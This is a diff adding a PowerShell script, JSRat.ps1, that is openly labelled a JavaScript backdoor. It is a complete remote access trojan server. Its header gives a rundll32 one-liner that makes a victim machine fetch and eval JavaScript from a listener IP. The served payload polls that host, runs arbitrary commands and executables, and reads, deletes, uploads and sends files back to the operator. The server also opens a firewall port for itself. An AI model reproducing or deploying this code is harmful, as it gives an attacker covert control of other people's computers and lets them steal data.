|
| 1 | +<# |
| 2 | + --- |
| 3 | + Learn from Casey Smith @subTee |
| 4 | + Author: 3gstudent |
| 5 | + --- |
| 6 | + Javascript Backdoor |
| 7 | + --- |
| 8 | + Server: |
| 9 | + run as admin: |
| 10 | + powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1 |
| 11 | + |
| 12 | + Client: |
| 13 | + cmd line: |
| 14 | + rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} |
| 15 | + |
| 16 | + |
| 17 | +#> |
| 18 | + |
| 19 | +$Server = '192.168.174.131' #Listening IP. Change This. |
| 20 | + |
| 21 | +function Receive-Request { |
| 22 | + param( |
| 23 | + $Request |
| 24 | + ) |
| 25 | + $output = "" |
| 26 | + $size = $Request.ContentLength64 + 1 |
| 27 | + $buffer = New-Object byte[] $size |
| 28 | + do { |
| 29 | + $count = $Request.InputStream.Read($buffer, 0, $size) |
| 30 | + $output += $Request.ContentEncoding.GetString($buffer, 0, $count) |
| 31 | + } until($count -lt $size) |
| 32 | + $Request.InputStream.Close() |
| 33 | + write-host $output |
| 34 | +} |
| 35 | + |
| 36 | +$listener = New-Object System.Net.HttpListener |
| 37 | +$listener.Prefixes.Add('http://+:80/') |
| 38 | + |
| 39 | +netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null |
| 40 | +netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null |
| 41 | + |
| 42 | +$listener.Start() |
| 43 | +'Listening ...' |
| 44 | +while ($true) { |
| 45 | + $context = $listener.GetContext() # blocks until request is received |
| 46 | + $request = $context.Request |
| 47 | + $response = $context.Response |
| 48 | + $hostip = $request.RemoteEndPoint |
| 49 | + |
| 50 | + |
| 51 | + |
| 52 | + |
| 53 | + |
| 54 | + |
| 55 | + #Use this for One-Liner Start |
| 56 | + if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { |
| 57 | + write-host "Usage:" -fore Green |
| 58 | + write-host " cmd: just input the cmd command" -fore Green |
| 59 | + write-host " delete file: input:delete,then set the file path" -fore Green |
| 60 | + write-host " exitbackdoor: input:exit" -fore Green |
| 61 | + write-host " read file: input:read,then set the file path" -fore Green |
| 62 | + write-host " run exe: input:run,then set the file path" -fore Green |
| 63 | + write-host " download file: input:down,then set the file path" -fore Green |
| 64 | + write-host " upload file: input:upload,then set the file path" -fore Green |
| 65 | + |
| 66 | + write-host "Host Connected" -fore Cyan |
| 67 | + $message = ' |
| 68 | + |
| 69 | + |
| 70 | + while(true) |
| 71 | + { |
| 72 | + h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 73 | + h.SetTimeouts(0, 0, 0, 0); |
| 74 | + |
| 75 | + try |
| 76 | + { |
| 77 | + h.Open("GET","http://'+$Server+'/rat",false); |
| 78 | + h.Send(); |
| 79 | + c = h.ResponseText; |
| 80 | + |
| 81 | + |
| 82 | + if(c=="delete") |
| 83 | +
|
| 84 | + { |
| 85 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 86 | + p.SetTimeouts(0, 0, 0, 0); |
| 87 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 88 | + p.Send("[Next Input should be the File to Delete]"); |
| 89 | + |
| 90 | + g = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 91 | + g.SetTimeouts(0, 0, 0, 0); |
| 92 | + g.Open("GET","http://'+$Server+'/rat",false); |
| 93 | + g.Send(); |
| 94 | + d = g.ResponseText; |
| 95 | +
|
| 96 | + fso1=new ActiveXObject("Scripting.FileSystemObject"); |
| 97 | + f =fso1.GetFile(d); |
| 98 | + f.Delete(); |
| 99 | + |
| 100 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 101 | + p.SetTimeouts(0, 0, 0, 0); |
| 102 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 103 | + p.Send("[Delete Success]"); |
| 104 | + continue; |
| 105 | + |
| 106 | + } |
| 107 | + |
| 108 | + else if(c=="download") |
| 109 | + { |
| 110 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 111 | + p.SetTimeouts(0, 0, 0, 0); |
| 112 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 113 | + p.Send("[Next Input should be the File to download]"); |
| 114 | + |
| 115 | + g = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 116 | + g.SetTimeouts(0, 0, 0, 0); |
| 117 | + g.Open("GET","http://'+$Server+'/rat",false); |
| 118 | + g.Send(); |
| 119 | + d = g.ResponseText; |
| 120 | +
|
| 121 | + fso1=new ActiveXObject("Scripting.FileSystemObject"); |
| 122 | + f=fso1.OpenTextFile(d,1); |
| 123 | + g=f.ReadAll(); |
| 124 | + f.Close(); |
| 125 | + |
| 126 | +
|
| 127 | +
|
| 128 | +
|
| 129 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 130 | + p.SetTimeouts(0, 0, 0, 0); |
| 131 | + p.Open("POST","http://'+$Server+'/download",false); |
| 132 | + p.Send(g); |
| 133 | + continue; |
| 134 | + } |
| 135 | + |
| 136 | + else if(c=="exit") |
| 137 | + { |
| 138 | + c="(\"cmd /c taskkill /f /im rundll32.exe\",,0,true)"; |
| 139 | + r = new ActiveXObject("WScript.Shell").Run(c); |
| 140 | + |
| 141 | + } |
| 142 | + |
| 143 | + else if(c=="read") |
| 144 | + { |
| 145 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 146 | + p.SetTimeouts(0, 0, 0, 0); |
| 147 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 148 | + p.Send("[Next Input should be the File to Read]"); |
| 149 | + |
| 150 | + g = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 151 | + g.SetTimeouts(0, 0, 0, 0); |
| 152 | + g.Open("GET","http://'+$Server+'/rat",false); |
| 153 | + g.Send(); |
| 154 | + d = g.ResponseText; |
| 155 | +
|
| 156 | + fso1=new ActiveXObject("Scripting.FileSystemObject"); |
| 157 | + f=fso1.OpenTextFile(d,1); |
| 158 | + g=f.ReadAll(); |
| 159 | + f.Close(); |
| 160 | +
|
| 161 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 162 | + p.SetTimeouts(0, 0, 0, 0); |
| 163 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 164 | + p.Send(g); |
| 165 | + continue; |
| 166 | + } |
| 167 | + |
| 168 | + |
| 169 | + else if(c=="run") |
| 170 | + { |
| 171 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 172 | + p.SetTimeouts(0, 0, 0, 0); |
| 173 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 174 | + p.Send("[Next Input should be the File to Run]"); |
| 175 | + |
| 176 | + g = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 177 | + g.SetTimeouts(0, 0, 0, 0); |
| 178 | + g.Open("GET","http://'+$Server+'/rat",false); |
| 179 | + g.Send(); |
| 180 | + d = g.ResponseText; |
| 181 | +
|
| 182 | + |
| 183 | + r = new ActiveXObject("WScript.Shell").Run(d,0,true); |
| 184 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 185 | + p.SetTimeouts(0, 0, 0, 0); |
| 186 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 187 | + p.Send("[Run Success]"); |
| 188 | + |
| 189 | + |
| 190 | + continue; |
| 191 | + } |
| 192 | + |
| 193 | + |
| 194 | + else if(c=="upload") |
| 195 | + { |
| 196 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 197 | + p.SetTimeouts(0, 0, 0, 0); |
| 198 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 199 | + p.Send("[Start to Upload]"); |
| 200 | + |
| 201 | + g = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 202 | + g.SetTimeouts(0, 0, 0, 0); |
| 203 | + g.Open("GET","http://'+$Server+'/uploadpath",false); |
| 204 | + g.Send(); |
| 205 | + dpath = g.ResponseText; |
| 206 | + |
| 207 | + g2 = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 208 | + g2.SetTimeouts(0, 0, 0, 0); |
| 209 | + g2.Open("GET","http://'+$Server+'/uploaddata",false); |
| 210 | + g2.Send(); |
| 211 | + ddata = g2.ResponseText; |
| 212 | +
|
| 213 | + fso1=new ActiveXObject("Scripting.FileSystemObject"); |
| 214 | + f=fso1.CreateTextFile(dpath,true); |
| 215 | + f.WriteLine(ddata); |
| 216 | + f.Close(); |
| 217 | + |
| 218 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 219 | + p.SetTimeouts(0, 0, 0, 0); |
| 220 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 221 | + p.Send("[Upload Success]"); |
| 222 | + continue; |
| 223 | + } |
| 224 | + |
| 225 | + else |
| 226 | + { |
| 227 | + |
| 228 | + r = new ActiveXObject("WScript.Shell").Exec(c); |
| 229 | + var so; |
| 230 | + while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()} |
| 231 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 232 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 233 | + p.Send(so); |
| 234 | + } |
| 235 | + |
| 236 | + } |
| 237 | + catch(e1) |
| 238 | + { |
| 239 | + p=new ActiveXObject("WinHttp.WinHttpRequest.5.1"); |
| 240 | + p.SetTimeouts(0, 0, 0, 0); |
| 241 | + p.Open("POST","http://'+$Server+'/rat",false); |
| 242 | + p.Send("[No Output]"); |
| 243 | + |
| 244 | + } |
| 245 | + |
| 246 | + } |
| 247 | + |
| 248 | + ' |
| 249 | + |
| 250 | + } |
| 251 | + |
| 252 | + if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { |
| 253 | + Receive-Request($request) |
| 254 | + } |
| 255 | + |
| 256 | + |
| 257 | + if ($request.Url -match '/download$' -and ($request.HttpMethod -eq "POST") ) { |
| 258 | + $output = "" |
| 259 | + $size = $Request.ContentLength64 + 1 |
| 260 | + $buffer = New-Object byte[] $size |
| 261 | + do { |
| 262 | + $count = $Request.InputStream.Read($buffer, 0, $size) |
| 263 | + $output += $Request.ContentEncoding.GetString($buffer, 0, $count) |
| 264 | + } until($count -lt $size) |
| 265 | + $Request.InputStream.Close() |
| 266 | + |
| 267 | + write-host "Input the Path to Save:" -fore Red |
| 268 | + $message = Read-Host |
| 269 | + Set-Content $message -Value $output |
| 270 | + write-host "Save Success" -fore Red |
| 271 | + |
| 272 | + } |
| 273 | + |
| 274 | + |
| 275 | + |
| 276 | + if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { |
| 277 | + $response.ContentType = 'text/plain' |
| 278 | + $message = Read-Host "JS $hostip>" |
| 279 | + } |
| 280 | + |
| 281 | + if($BoolExit -eq 1) |
| 282 | + { |
| 283 | + exit |
| 284 | + } |
| 285 | + $BoolExit=0 |
| 286 | + |
| 287 | + if($message -eq "exit") |
| 288 | + { |
| 289 | + $BoolExit=1 |
| 290 | + } |
| 291 | + |
| 292 | + |
| 293 | + |
| 294 | + if ($request.Url -match '/uploadpath$' -and ($request.HttpMethod -eq "GET") ) { |
| 295 | + |
| 296 | + write-host "Input the Path to upload:" -fore Red |
| 297 | + $UploadPath = Read-Host |
| 298 | + write-host "Input the Destination Path:" -fore Red |
| 299 | + $message = Read-Host |
| 300 | + |
| 301 | + } |
| 302 | + |
| 303 | + |
| 304 | + if ($request.Url -match '/uploaddata$' -and ($request.HttpMethod -eq "GET") ) { |
| 305 | + |
| 306 | + $message = Get-Content $UploadPath |
| 307 | + } |
| 308 | + |
| 309 | + [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) |
| 310 | + $response.ContentLength64 = $buffer.length |
| 311 | + $output = $response.OutputStream |
| 312 | + $output.Write($buffer, 0, $buffer.length) |
| 313 | + $output.Close() |
| 314 | +} |
| 315 | + |
| 316 | +$listener.Stop() |
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